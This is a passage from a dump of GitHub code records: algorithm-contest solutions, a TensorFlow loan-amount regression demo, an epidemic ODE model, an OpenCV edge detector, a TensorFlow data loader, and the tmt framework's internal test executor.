땅 찾기\n            nx, ny = x+a, y+b\n            # 새로운 좌표가 MAP 안에 들어가고, 바다가 아니라면\n            if 0<=nx<n and 0<=ny<m and MAP[nx][ny] == 1 and not visited[nx][ny]:\n                visited[nx][ny] = True\n                island[(nx, ny)] = islandNum\n                q.append((nx, ny))\n                landArr.append((nx, ny, islandNum))\n\n\n# 1. 우선 땅이 어딨나 체크해서 dictionary[땅의 번호] = 좌표들 로 저장함\nvisited = [[False]*m for _ in range(n)]\nfor x in range(n):\n    for y in range(m):\n        if MAP[x][y] == 1 and not visited[x][y]:\n            bfs_find_island(x, y)\n            islandNum += 1\n\n# 2. 섬 dictionary bfs 탐색 시작\nedges = []\nfor x,y,curLand in landArr:\n    for a,b in move:\n        dist = 0\n        nx, ny = x+a, y+b\n        while True:\n            if n>nx>=0 and m>ny>=0:\n                toLand = island.get((nx,ny))\n                # 같은 섬\n                if curLand==toLand:\n                    break\n                # 바다 위, 다리 길이 +1\n                if toLand == None:\n                    nx+=a; ny+=b\n                    dist+=1\n                    continue\n                # 다리가 짧음\n                if dist < 2:\n                    break\n                # 다른 섬을 만나면 다리 놓기 끝\n                edges.append((dist,curLand,toLand))\n                break\n            else:\n                break\nedges = sorted(edges,reverse=True)\n\n# 크루스칼 MST 진행\ndef union(x,y):\n    x, y = find(x), find(y)\n    if x!=y:\n        if x>y:\n            parents[x] = y\n        else:\n            parents[y] = x\n\ndef find(k):\n    if k == parents[k]:\n        return k\n    parents[k] = find(parents[k])\n    return parents[k]\n\nans = 0\ncnt = islandNum-1\nparents = [i for i in range(islandNum)]\nwhile cnt:\n    try:\n        w,a,b = edges.pop()\n    except:\n        # 저장된 다리들이 없을 때\n        print(-1)\n        exit(0)\n    if find(a) != find(b): # 모든 섬을 연결하는 다리 길이의 최솟값\n        union(a,b)\n        ans += w\n        cnt-=1\nprint(ans)\n\n","repo_name":"Suyeon-B/week03_team","sub_path":"suyeon/BFS/17472 다리 만들기 2 retry.py","file_name":"17472 다리 만들기 2 retry.py","file_ext":"py","file_size_in_byte":3639,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"27084830206","text":"#!/usr/bin/python\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport itertools, tensorflow as tf, numpy as np, pandas as pd\n\ntf.logging.set_verbosity(tf.logging.INFO)\n\nCOLUMNS=['AsofYear','RespondentID','AgencyCode','LoanType','PropertyType','LoanPurpose','Occupancy','LoanAmount000s','Preapproval','ActionType','MSAMD','StateCode','CountyCode','CensusTractNumber','ApplicantEthnicity','CoApplicantEthnicity','ApplicantRace1','ApplicantRace2','ApplicantRace3','ApplicantRace4','ApplicantRace5','CoApplicantRace1','CoApplicantRace2','CoApplicantRace3','CoApplicantRace4','CoApplicantRace5','ApplicantSex','CoApplicantSex','ApplicantIncome000s','PurchaserType','DenialReason1','DenialReason2','DenialReason3','RateSpread','HOEPAStatus','LienStatus','EditStatus','SequenceNumber','Population','MinorityPopulationPct','FFIECMedianFamilyIncome','TracttoMSAMDIncomePct','NumberofOwner-occupiedunits','Numberof1-to4-Familyunits','ApplicationDateIndicator']\n\nFEATURES=['AsofYear','AgencyCode','LoanType','PropertyType','LoanPurpose','Occupancy','Preapproval','ActionType','MSAMD','StateCode','CountyCode','CensusTractNumber','ApplicantEthnicity','CoApplicantEthnicity','ApplicantRace1','CoApplicantRace1','ApplicantSex','CoApplicantSex','ApplicantIncome000s','PurchaserType','HOEPAStatus','LienStatus','SequenceNumber','Population','MinorityPopulationPct','FFIECMedianFamilyIncome','TracttoMSAMDIncomePct','ApplicationDateIndicator']\n\nLABEL=['LoanAmount000s']\n\ntraining_set = pd.read_csv(\"data/training_CHI.csv\", names=COLUMNS)\ntesting_set = pd.read_csv(\"data/test_LAX.csv\", names=COLUMNS)\nprediction_set = pd.read_csv(\"data/prediction_NYC.csv\", names=COLUMNS)\n\nfeature_cols = [tf.feature_column.numeric_column(k) for k in FEATURES]\n\nregressor = tf.estimator.DNNRegressor(feature_columns=feature_cols,\n                                      hidden_units=[10, 10])\n\ndef get_input_fn(data_set, num_epochs=None, shuffle=True):\n  return tf.estimator.inputs.pandas_input_fn(\n      x=pd.DataFrame({k: data_set[k].values for k in FEATURES}),\n      y = pd.Series(data_set[LABEL].astype(int)),\n      num_epochs=num_epochs,\n      shuffle=shuffle)\n\nregressor.train(input_fn=get_input_fn(training_set), steps=5)\n\nev = regressor.evaluate(\n    input_fn=get_input_fn(test_set, num_epochs=1, shuffle=False))\n\nloss_score = ev[\"loss\"]\nprint(\"Loss: {0:f}\".format(loss_score))\n\ny = regressor.predict(\n    input_fn=get_input_fn(prediction_set, num_epochs=1, shuffle=False))\n# .predict() returns an iterator of dicts; convert to a list and print\n# predictions\npredictions = list(p[\"predictions\"] for p in itertools.islice(y, 6))\nprint(\"Predictions: {}\".format(str(predictions)))\n\n","repo_name":"manubhardwaj/tensorflow-demo","sub_path":"hmda/hmda.py","file_name":"hmda.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"11065051694","text":"import numpy as np\nfrom scipy.integrate import odeint\nimport matplotlib.pyplot as plt\n\ndef dAdt(A, t, beta, gamma, N, nu, alpha, eta):\n    #definindo as variáveis.\n    S = A[0]\n    E = A[1]\n    I = A[2]\n    R = A[3]\n    D = A[4]\n    V = A[5]\n    return [\n        -beta/N * S * I - v*S,\n        beta/N * S * I - alpha * E,\n        alpha * E - gamma * I,\n        gamma * (1 - eta) * I,\n        gamma * eta * I,\n        v*S\n    ]\n\n#Quanto tempo será simulado\ntimes = np.arange(0, 500, 1)\n\n#definindo os valores das constantes\ngamma = 0.083\nN = 1e7\nbeta = 0.20\nv = 0.04\nalpha = 0.192\neta = 0.024\n\n#Valores iniciais das variáveis\nS0, E0, I0, R0, D0, V0 = N-800, 800, 0, 0, 0, 0\n\n#resolvendo a ODE.\nsol = odeint(dAdt, y0=[S0, E0, I0, R0, D0, V0],t=times, args=(beta, gamma, N, v, alpha, eta))\n\n#plotando os gráficos.\nS = sol.T[0]\nE = sol.T[1]\nI = sol.T[2]\nR = sol.T[3]\nD = sol.T[4]\nV = sol.T[5]\n\nplt.figure(facecolor='w',figsize=(30,10))\nplt.plot(times, S)\nplt.plot(times, E)\nplt.plot(times, I)\nplt.plot(times, R)\nplt.plot(times, D)\nplt.plot(times, V)\n\nplt.grid()\nplt.show()\n\n","repo_name":"jefersonseverino/MetodosNumericos","sub_path":"metodos.py","file_name":"metodos.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6461601061","text":"import numpy as np\nimport cv2\nimport os\n\ndef edge():\n    image = cv2.imread(os.path.join(\"input_imgs\", \"i.jpg\"))\n    # inserir o caminho da imagem manualmente\n    hls = cv2.cvtColor(image, cv2.COLOR_BGR2HLS)\n    lower = np.array([0, 0, 0])\n    upper = np.array([255, 75, 255])\n\n    blackmask = cv2.inRange(hls, lower, upper)\n    kernel = np.ones((7, 7), np.uint8)\n    opening = cv2.morphologyEx(blackmask, cv2.MORPH_OPEN, kernel)\n\n    edges = cv2.Canny(opening, 150, 240, apertureSize=3)\n\n    cv2.imwrite(\"edges.jpg\", edges)\n    #cv2.imwrite('mask'+str(n+1)+\".jpeg\", blackmask)\n    minLineLength = 150\n    lines = cv2.HoughLinesP(edges, rho=1, theta=np.pi/180, threshold=100,\n                            lines=[], minLineLength=minLineLength, maxLineGap=20)\n\n    a, b, c = lines.shape\n    m = []\n    b = []\n    line_poly = []\n    poly = [0, 0, 0]\n    right_lines = []\n    left_lines = []\n    # print(len(lines))\n    for i in range(len(lines)):\n        ang = (180/np.pi)*np.arctan((lines[i][0][3] -\n                                     lines[i][0][1])/(lines[i][0][2]-lines[i][0][0]))\n        poly = [(lines[i][0][3]-lines[i][0][1])/(lines[i][0][2]-lines[i][0][0]), lines[i][0]\n                [1]-((lines[i][0][3]-lines[i][0][1])/(lines[i][0][2]-lines[i][0][0]))*lines[i][0][0], lines[i][0]]\n        line_poly.append(poly)\n    for i in range(len(line_poly)):\n        ang = (180/np.pi)*np.arctan((lines[i][0][3] -\n                                     lines[i][0][1])/(lines[i][0][2]-lines[i][0][0]))\n        if abs(ang) > 20 and abs(ang) < 80:\n            if line_poly[i][0] < 0:\n                left_lines.append(line_poly[i])\n            else:\n                right_lines.append(line_poly[i])\n\n    left_x = []\n    right_x = []\n    if len(left_lines) > 0:\n        for j in range(len(left_lines)):\n            left_x.append(560/left_lines[j][0] -\n                          left_lines[j][1]/left_lines[j][0])\n        x_main = max(left_x)\n        k = left_x.index(x_main)\n        left_average = left_lines[k]\n        rr = cv2.line(image, (left_average[2][0], left_average[2][1]), (\n        left_average[2][2], left_average[2][3]), (0, 0, 255), 3, cv2.LINE_AA)\n        cv2.imwrite(\"sssdd.jpg\", rr)\n    else:\n        left_average = []\n    if len(right_lines) > 0:\n        for k in range(len(right_lines)):\n            right_x.append(560/right_lines[k][0] -\n                           right_lines[k][1]/right_lines[k][0])\n        x_main = min(right_x)\n        k = right_x.index(x_main)\n        right_average = right_lines[k]\n        cv2.line(rr, (right_average[2][0], right_average[2][1]), (\n        right_average[2][2], right_average[2][3]), (0, 0, 255), 3, cv2.LINE_AA)\n    else:\n        right_average = []\n    if left_average != [] and right_average != []:\n        fit_1 = [left_average[0], left_average[1]]\n        fit_2 = [right_average[0], right_average[1]]\n        return fit_1, fit_2, 1\n    if left_average == [] and right_average != []:\n        fit = [right_average[0], right_average[1]]\n        return [], fit, 2\n    if left_average != [] and right_average == []:\n        fit = [left_average[0], left_average[1]]\n        return fit, [], 3\n    if left_average == [] and right_average == []:\n        fit = []\n        return fit, [], 0\nedge()","repo_name":"roboime/HRR-Intel","sub_path":"hrr/tests/edge_detector.py","file_name":"edge_detector.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18692603176","text":"# -*- encoding: utf-8 -*-\n'''\n@Filename    : check_hourly_format.py\n@Datetime    : 2020/06/17 14:43:00\n@Author      : Joe-Bu\n@version     : 1.0\n'''\n\nimport os\nimport sys\n\nSTD_NUM=46\n\n\ndef parse_err_time(filename):\n    '''\n        获取发生错误的站点\n    '''\n    assert os.path.exists(filename)\n\n    with open(filename, 'r') as f:\n        cont = f.readlines()\n        err_time = [f.split('_')[-1].split('.')[0] for f in cont]\n    # print('\\n'.join(err_time))\n\n    return err_time\n\n\ndef main():\n    '''\n        Main\n    '''\n    err_file = r'./err_hour.txt'\n    parse_err_time(err_file)\n\n    \nif __name__ == \"__main__\":\n    main()","repo_name":"JoeBuzh/Pm_Composition_Quallity_Control","sub_path":"extract/getErrTime.py","file_name":"getErrTime.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"36999694166","text":"import tensorflow as tf\nimport glob\n\nif tf.__version__.split(\".\",1)[0] == \"1\":\n    pass\nelse:\n    tf.truncated_normal_initializer=tf.compat.v1.truncated_normal_initializer\n    tf.feature_column.shared_embedding_columns=tf.feature_column.shared_embeddings\n    tf.feature_column.input_layer=tf.compat.v1.feature_column.input_layer\n    tf.losses.log_loss=tf.compat.v1.losses.log_loss\n    tf.metrics.auc=tf.compat.v1.losses.log_loss\n    tf.train.get_global_step=tf.compat.v1.train.get_global_step\n\n\ndef _batched_parse(serialized_examples,schema):\n    features=tf.io.parse_example(\n        serialized_examples,\n        features=schema\n    )\n    ctr=features.pop(\"finalClickFlag\")\n    cvr=features.pop(\"pay_flag\")\n    # ctr = tf.cast(features[\"finalClickFlag\"],tf.float32)\n    # cvr = tf.cast(features[\"pay_flag\"],tf.float32)\n    return features, {'ctr': ctr, 'cvr': cvr}\n\n\ndef loadtf(filenames,schema,batch_size=64,num_epochs=1):\n    #filenames=glob.glob(pattern)\n    seqlen=10\n    for key in schema.keys():\n        if \"list\" in key:\n            schema[key]=tf.io.FixedLenFeature([seqlen], tf.string,default_value=[\"-1\"]*seqlen)\n    ds=tf.data.TFRecordDataset(\n        filenames,\n        compression_type=None,\n        buffer_size=None,\n        num_parallel_reads=tf.data.AUTOTUNE,\n    )\n    ds=ds.repeat(num_epochs)\n    ds=ds.shuffle(buffer_size= 50 * batch_size)\n    ds=ds.batch(batch_size)\n    ds=ds.map(lambda x:_batched_parse(x,schema),num_parallel_calls=tf.data.AUTOTUNE)\n    ds=ds.prefetch(buffer_size=tf.data.AUTOTUNE)\n    return ds\n\n\nclass CSVDataSet():\n    def __init__(self,filelist,record_defaults,column_names,drop_columns=[],n_readers=4,num_parallel_calls=4,buffer_size=10240):\n        self.filename_dataset = tf.data.Dataset.list_files(filelist)\n        self.n_readers=n_readers\n        self.record_defaults=record_defaults\n        self.column_names=column_names\n        self.drop_columns=drop_columns\n        self.buffer_size=buffer_size\n        self.num_parallel_calls=num_parallel_calls\n\n    def getds(self,batch_size=1024,num_epochs=1):\n        dataset = self.filename_dataset.interleave(\n            lambda filename: tf.data.TextLineDataset(filename).skip(1).shuffle(self.buffer_size),\n            #并行数为5，默认一次从并行数中取出一条数据\n            cycle_length = self.n_readers\n        )\n        dataset = dataset.map(self.parse_csv, num_parallel_calls=self.num_parallel_calls)\n        return dataset\n\n    def parse_csv(self,value):\n        columns = tf.io.decode_csv(value, record_defaults=self.record_defaults)\n        features = dict(zip(self.column_names, columns))\n        for col in self.drop_columns :\n            features.pop(col)\n        # for col in self.sequental_columns:\n        #     features[col]=tf.strings.to_number(tf.strings.split(features[col], sep='|').values, out_type=tf.dtypes.int64)\n        ctr = features.pop('finalClickFlag')\n        cvr = features.pop('pay_flag')\n        ctr = tf.cast(tf.reshape(ctr, [1]),tf.float32)\n        cvr = tf.cast(tf.reshape(cvr, [1]),tf.float32)\n        return features, {'ctr': ctr, 'cvr': cvr}\n\n\ndef input_fn(file_list,column_names,record_defaults,drop_columns,num_epochs=1,batch_size=1024):\n    dsiter=CSVDataSet(file_list,record_defaults,column_names,drop_columns)\n    dataset=dsiter.getds()\n    dataset = dataset.repeat(num_epochs)\n    dataset=dataset.shuffle(buffer_size= 50 * batch_size)\n    dataset = dataset.batch(batch_size)\n    dataset=dataset.prefetch(buffer_size=tf.data.AUTOTUNE)\n    return dataset\n\n\nif __name__ == \"__main__\":\n    # schema=modelobj.feat_schema\n    # loadtf(\"data/train_tf/*.tf\",schema,batch_size=64)\n    pass","repo_name":"LiTugou/ljrec","sub_path":"utils/dataio.py","file_name":"dataio.py","file_ext":"py","file_size_in_byte":3636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"16715410229","text":"import dataclasses\nimport json\nimport os\nimport sys\nimport time\nfrom typing import Any, Dict, List, Optional, cast\n\nimport click\n\nimport tmt\nimport tmt.options\nimport tmt.steps\nimport tmt.steps.execute\nimport tmt.utils\nfrom tmt.base import Test\nfrom tmt.result import Result, ResultOutcome\nfrom tmt.steps.execute import (SCRIPTS, TEST_OUTPUT_FILENAME,\n                               TMT_FILE_SUBMIT_SCRIPT, TMT_REBOOT_SCRIPT)\nfrom tmt.steps.provision import Guest\nfrom tmt.utils import EnvironmentType, Path, ShellScript\n\nTEST_WRAPPER_FILENAME = 'tmt-test-wrapper.sh'\n\nTEST_WRAPPER_INTERACTIVE = '{remote_command}'\nTEST_WRAPPER_NONINTERACTIVE = 'set -eo pipefail; {remote_command} </dev/null |& cat'\n\n\n@dataclasses.dataclass\nclass ExecuteInternalData(tmt.steps.execute.ExecuteStepData):\n    script: List[ShellScript] = dataclasses.field(default_factory=list)\n    interactive: bool = False\n\n    # ignore[override] & cast: two base classes define to_spec(), with conflicting\n    # formal types.\n    def to_spec(self) -> Dict[str, Any]:  # type: ignore[override]\n        data = cast(Dict[str, Any], super().to_spec())\n        data['script'] = [str(script) for script in self.script]\n\n        return data\n\n    def to_serialized(self) -> Dict[str, Any]:\n        data = super().to_serialized()\n\n        data['script'] = [str(script) for script in self.script]\n\n        return data\n\n    @classmethod\n    def from_serialized(cls, serialized: Dict[str, Any]) -> 'ExecuteInternalData':\n        \"\"\" Convert from a serialized form loaded from a file \"\"\"\n\n        obj = super().from_serialized(serialized)\n        obj.script = [ShellScript(script) for script in serialized['script']]\n\n        return obj\n\n\n@tmt.steps.provides_method('tmt')\nclass ExecuteInternal(tmt.steps.execute.ExecutePlugin):\n    \"\"\"\n    Use the internal tmt executor to execute tests\n\n    The internal tmt executor runs tests on the guest one by one, shows\n    testing progress and supports interactive debugging as well. Test\n    result is based on the script exit code (for shell tests) or the\n    results file (for beakerlib tests).\n    \"\"\"\n\n    _data_class = ExecuteInternalData\n\n    def __init__(self, **kwargs: Any):\n        super().__init__(**kwargs)\n        self._previous_progress_message = \"\"\n        self.scripts = SCRIPTS\n\n    @classmethod\n    def options(cls, how: Optional[str] = None) -> List[tmt.options.ClickOptionDecoratorType]:\n        \"\"\" Prepare command line options for given method \"\"\"\n        return [\n            click.option(\n                '-s', '--script', metavar='SCRIPT', multiple=True,\n                help='Shell script to be executed as a test.'),\n            # Interactive mode\n            click.option(\n                '-i', '--interactive', is_flag=True,\n                help='Run in interactive mode, do not capture output.'),\n            # Disable interactive progress bar\n            click.option(\n                '--no-progress-bar', is_flag=True,\n                help='Disable interactive progress bar showing the current test.')\n            ] + super().options(how)\n\n    # TODO: consider switching to utils.updatable_message() - might need more\n    # work, since use of _show_progress is split over several methods.\n    def _show_progress(self, progress: str, test_name: str,\n                       finish: bool = False) -> None:\n        \"\"\"\n        Show an interactive progress bar in non-verbose mode.\n\n        If the output is not an interactive terminal, or progress bar is\n        disabled using an option, just output the message as info without\n        utilising \\r. If finish is True, overwrite the previous progress bar.\n        \"\"\"\n        # Verbose mode outputs other information, using \\r to\n        # create a status bar wouldn't work.\n        if self.opt('verbose'):\n            return\n\n        # No progress if terminal not attached or explicitly disabled\n        if not sys.stdout.isatty() or self.opt('no-progress-bar'):\n            return\n\n        # For debug mode show just an info message (unless finishing)\n        message = f\"{test_name} [{progress}]\" if not finish else \"\"\n        if self.opt('debug'):\n            if not finish:\n                self.info(message, shift=1)\n            return\n\n        # Show progress bar in an interactive shell.\n        # We need to completely override the previous message, add\n        # spaces if necessary.\n        message = message.ljust(len(self._previous_progress_message))\n        self._previous_progress_message = message\n        message = self._indent('progress', message, color='cyan')\n        sys.stdout.write(f\"\\r{message}\")\n        if finish:\n            # The progress has been overwritten, return back to the start\n            sys.stdout.write(\"\\r\")\n            self._previous_progress_message = \"\"\n        sys.stdout.flush()\n\n    def _test_environment(\n            self,\n            test: Test,\n            extra_environment: Optional[EnvironmentType] = None) -> EnvironmentType:\n        \"\"\" Return test environment \"\"\"\n\n        extra_environment = extra_environment or {}\n\n        data_directory = self.data_path(test, full=True, create=True)\n\n        environment = extra_environment.copy()\n        environment.update(test.environment)\n        assert self.parent is not None\n        assert isinstance(self.parent, tmt.steps.execute.Execute)\n\n        environment[\"TMT_TEST_DATA\"] = str(data_directory / tmt.steps.execute.TEST_DATA)\n        environment[\"TMT_REBOOT_REQUEST\"] = str(\n            data_directory / tmt.steps.execute.TEST_DATA / TMT_REBOOT_SCRIPT.created_file)\n        # Set all supported reboot variables\n        for reboot_variable in TMT_REBOOT_SCRIPT.related_variables:\n            environment[reboot_variable] = str(test._reboot_count)\n        # Variables related to beakerlib tests\n        if test.framework == 'beakerlib':\n            environment['BEAKERLIB_DIR'] = str(data_directory)\n            environment['BEAKERLIB_COMMAND_SUBMIT_LOG'] = (\n                f\"bash {TMT_FILE_SUBMIT_SCRIPT.path}\")\n\n        return environment\n\n    def _test_output_logger(\n            self,\n            key: str,\n            value: Optional[str] = None,\n            color: Optional[str] = None,\n            shift: int = 2,\n            level: int = 3,\n            err: bool = False) -> None:\n        \"\"\" Custom logger for test output with shift 2 and level 3 defaults \"\"\"\n        self.verbose(key=key, value=value, color=color, shift=shift, level=level, err=err)\n\n    def execute(self, test: Test, guest: Guest,\n                extra_environment: Optional[EnvironmentType] = None) -> None:\n        \"\"\" Run test on the guest \"\"\"\n        self.debug(f\"Execute '{test.name}' as a '{test.framework}' test.\")\n\n        # Test will be executed in it's own directory, relative to the workdir\n        assert self.discover.workdir is not None  # narrow type\n        assert test.path is not None  # narrow type\n        workdir = self.discover.workdir / test.path.unrooted()\n        self.debug(f\"Use workdir '{workdir}'.\", level=3)\n\n        # Create data directory, prepare test environment\n        environment = self._test_environment(test, extra_environment)\n\n        test_wrapper_filepath = workdir / TEST_WRAPPER_FILENAME\n\n        # Prepare the test command (use default options for shell tests)\n        if test.framework == \"shell\":\n            test_command = ShellScript(f\"{tmt.utils.SHELL_OPTIONS}; {test.test}\")\n        else:\n            test_command = test.test\n        self.debug('Test script', str(test_command), level=3)\n\n        # Prepare the wrapper, push to guest\n        self.write(test_wrapper_filepath, str(test_command), 'w')\n        test_wrapper_filepath.chmod(0o755)\n        guest.push(\n            source=test_wrapper_filepath,\n            destination=test_wrapper_filepath,\n            options=[\"-s\", \"-p\", \"--chmod=755\"])\n\n        # Prepare the actual remote command\n        remote_command = ShellScript(f'./{TEST_WRAPPER_FILENAME}')\n        if self.get('interactive'):\n            remote_command = ShellScript(\n                TEST_WRAPPER_INTERACTIVE.format(\n                    remote_command=remote_command))\n        else:\n            remote_command = ShellScript(\n                TEST_WRAPPER_NONINTERACTIVE.format(\n                    remote_command=remote_command))\n\n        # Execute the test, save the output and return code\n        start = time.time()\n        try:\n            stdout, _ = guest.execute(\n                remote_command,\n                cwd=workdir,\n                env=environment,\n                join=True,\n                interactive=self.get('interactive'),\n                log=self._test_output_logger,\n                timeout=tmt.utils.duration_to_seconds(test.duration),\n                test_session=True,\n                friendly_command=str(test.test))\n            test.returncode = 0\n        except tmt.utils.RunError as error:\n            stdout = error.stdout\n            test.returncode = error.returncode\n            if test.returncode == tmt.utils.PROCESS_TIMEOUT:\n                self.debug(f\"Test duration '{test.duration}' exceeded.\")\n        end = time.time()\n        self.write(\n            self.data_path(test, TEST_OUTPUT_FILENAME, full=True),\n            stdout or '', mode='a', level=3)\n        test.real_duration = self.test_duration(start, end)\n\n    def check(self, test: Test) -> List[Result]:\n        \"\"\" Check the test result \"\"\"\n        self.debug(f\"Check result of '{test.name}'.\")\n        if test.result == 'custom':\n            return self.check_custom_results(test)\n        if test.framework == 'beakerlib':\n            return self.check_beakerlib(test)\n        else:\n            try:\n                return self.check_result_file(test)\n            except tmt.utils.FileError:\n                return self.check_shell(test)\n\n    def _will_reboot(self, test: Test) -> bool:\n        \"\"\" True if reboot is requested \"\"\"\n        return self._reboot_request_path(test).exists()\n\n    def _reboot_request_path(self, test: Test) -> Path:\n        \"\"\" Return reboot_request \"\"\"\n        return self.data_path(test, full=True) \\\n            / tmt.steps.execute.TEST_DATA \\\n            / TMT_REBOOT_SCRIPT.created_file\n\n    def _handle_reboot(self, test: Test, guest: Guest) -> bool:\n        \"\"\"\n        Reboot the guest if the test requested it.\n\n        Check for presence of a file signalling reboot request\n        and orchestrate the reboot if it was requested. Also increment\n        REBOOTCOUNT variable, reset it to 0 if no reboot was requested\n        (going forward to the next test). Return whether reboot was done.\n        \"\"\"\n        if self._will_reboot(test):\n            test._reboot_count += 1\n            self.debug(f\"Reboot during test '{test}' \"\n                       f\"with reboot count {test._reboot_count}.\")\n            reboot_request_path = self._reboot_request_path(test)\n            test_data = self.data_path(test, full=True) / tmt.steps.execute.TEST_DATA\n            with open(reboot_request_path, 'r') as reboot_file:\n                reboot_data = json.loads(reboot_file.read())\n            reboot_command = None\n            if reboot_data.get('command'):\n                try:\n                    reboot_command = ShellScript(reboot_data.get('command'))\n                except TypeError:\n                    pass\n            try:\n                timeout = int(reboot_data.get('timeout'))\n            except ValueError:\n                timeout = None\n            # Reset the file\n            os.remove(reboot_request_path)\n            guest.push(test_data)\n            rebooted = False\n            try:\n                rebooted = guest.reboot(command=reboot_command, timeout=timeout)\n            except tmt.utils.RunError:\n                self.fail(\n                    f\"Failed to reboot guest using the \"\n                    f\"custom command '{reboot_command}'.\")\n                raise\n            except tmt.utils.ProvisionError:\n                self.warn(\n                    \"Guest does not support soft reboot, \"\n                    \"trying hard reboot.\")\n                rebooted = guest.reboot(hard=True, timeout=timeout)\n            if not rebooted:\n                raise tmt.utils.RebootTimeoutError(\"Reboot timed out.\")\n            return True\n        return False\n\n    def go(\n            self,\n            *,\n            guest: 'Guest',\n            environment: Optional[tmt.utils.EnvironmentType] = None,\n            logger: tmt.log.Logger) -> None:\n        \"\"\" Execute available tests \"\"\"\n        super().go(guest=guest, environment=environment, logger=logger)\n        self._results: List[Result] = []\n\n        # Nothing to do in dry mode\n        if self.opt('dry'):\n            self._results = []\n            return\n\n        self._run_tests(guest)\n\n    def _run_tests(\n            self,\n            guest: Guest,\n            extra_environment: Optional[EnvironmentType] = None) -> None:\n        \"\"\" Execute tests on provided guest \"\"\"\n\n        # Prepare tests and helper scripts, check options\n        tests = self.prepare_tests()\n        exit_first = self.get('exit-first', default=False)\n\n        # Prepare scripts, except localhost guest\n        if not guest.localhost:\n            self.prepare_scripts(guest)\n\n        # Push workdir to guest and execute tests\n        guest.push()\n        # We cannot use enumerate here due to continue in the code\n        index = 0\n        while index < len(tests):\n            test = tests[index]\n\n            progress = f\"{index + 1}/{len(tests)}\"\n            self._show_progress(progress, test.name)\n            self.verbose(\n                'test', test.summary or test.name, color='cyan', shift=1, level=2)\n\n            self.execute(test, guest, extra_environment=extra_environment)\n\n            # Pull test logs from the guest, exclude beakerlib backups\n            if test.framework == \"beakerlib\":\n                exclude = [\n                    \"--exclude\",\n                    str(self.data_path(test, \"backup*\", full=True))]\n            else:\n                exclude = None\n            guest.pull(\n                source=self.data_path(test, full=True),\n                extend_options=exclude)\n\n            results = self.check(test)  # Produce list of results\n            assert test.real_duration is not None  # narrow type\n            duration = click.style(test.real_duration, fg='cyan')\n            shift = 1 if self.opt('verbose') < 2 else 2\n\n            # Handle reboot, abort, exit-first\n            if self._will_reboot(test):\n                # Output before the reboot\n                self.verbose(\n                    f\"{duration} {test.name} [{progress}]\", shift=shift)\n                try:\n                    if self._handle_reboot(test, guest):\n                        continue\n                except tmt.utils.RebootTimeoutError:\n                    for result in results:\n                        result.result = ResultOutcome.ERROR\n                        result.note = 'reboot timeout'\n            abort = self.check_abort_file(test)\n            if abort:\n                for result in results:\n                    # In case of aborted all results in list will be aborted\n                    result.note = 'aborted'\n            self._results.extend(results)\n            for result in results:\n                # If test duration information is missing, print 8 spaces to keep indention\n                duration = click.style(result.duration, fg='cyan') if result.duration else 8 * ' '\n                self.verbose(f\"{duration} {result.show()} [{progress}]\", shift=shift)\n            if (abort or exit_first and\n                    result.result not in (ResultOutcome.PASS, ResultOutcome.INFO)):\n                # Clear the progress bar before outputting\n                self._show_progress('', '', True)\n                what_happened = \"aborted\" if abort else \"failed\"\n                self.warn(\n                    f'Test {test.name} {what_happened}, stopping execution.')\n                break\n            index += 1\n\n            # Log into the guest after each executed test if \"login\n            # --test\" option is provided\n            if self._login_after_test:\n                assert test.path is not None  # narrow type\n                if self.discover.workdir is None:\n                    cwd = test.path.unrooted()\n                else:\n                    cwd = self.discover.workdir / test.path.unrooted()\n                self._login_after_test.after_test(\n                    result,\n                    cwd=cwd,\n                    env=self._test_environment(test, extra_environment),\n                    )\n        # Overwrite the progress bar, the test data is irrelevant\n        self._show_progress('', '', True)\n\n        # Pull artifacts created in the plan data directory\n        self.debug(\"Pull the plan data directory.\", level=2)\n        guest.pull(source=self.step.plan.data_directory)\n\n    def results(self) -> List[Result]:\n        \"\"\" Return test results \"\"\"\n        return self._results\n\n    def requires(self) -> List[str]:\n        \"\"\" Return list of required packages \"\"\"\n        return []\n","repo_name":"danmyway/tmt","sub_path":"tmt/steps/execute/internal.py","file_name":"internal.py","file_ext":"py","file_size_in_byte":17066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"29960550673","text":"import sys\n\nN = int(sys.stdin.readline())\n\nstack = []\nfor _ in range(N):\n    order = sys.stdin.readline()\n    if order[:2] == \"pu\": # push\n        o, v = order.split()\n        stack.append(int(v))\n    elif order[:2] == \"po\": # pop\n        if len(stack) == 0:\n            print(-1)\n        else:\n            print(stack.pop())\n    elif order[:2] == \"si\": # size\n        print(len(stack))\n    elif order[:2] == \"em\": # empty\n        if len(stack) == 0:\n            print(1)\n        else:\n            print(0)\n    elif order[:2] == \"to\": #top\n        if len(stack) == 0:\n            print(-1)\n        else:\n            print(stack[-1])","repo_name":"GDSC-SCH/Algorithm-Study","sub_path":"04_이남준/week_04/10828.py","file_name":"10828.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
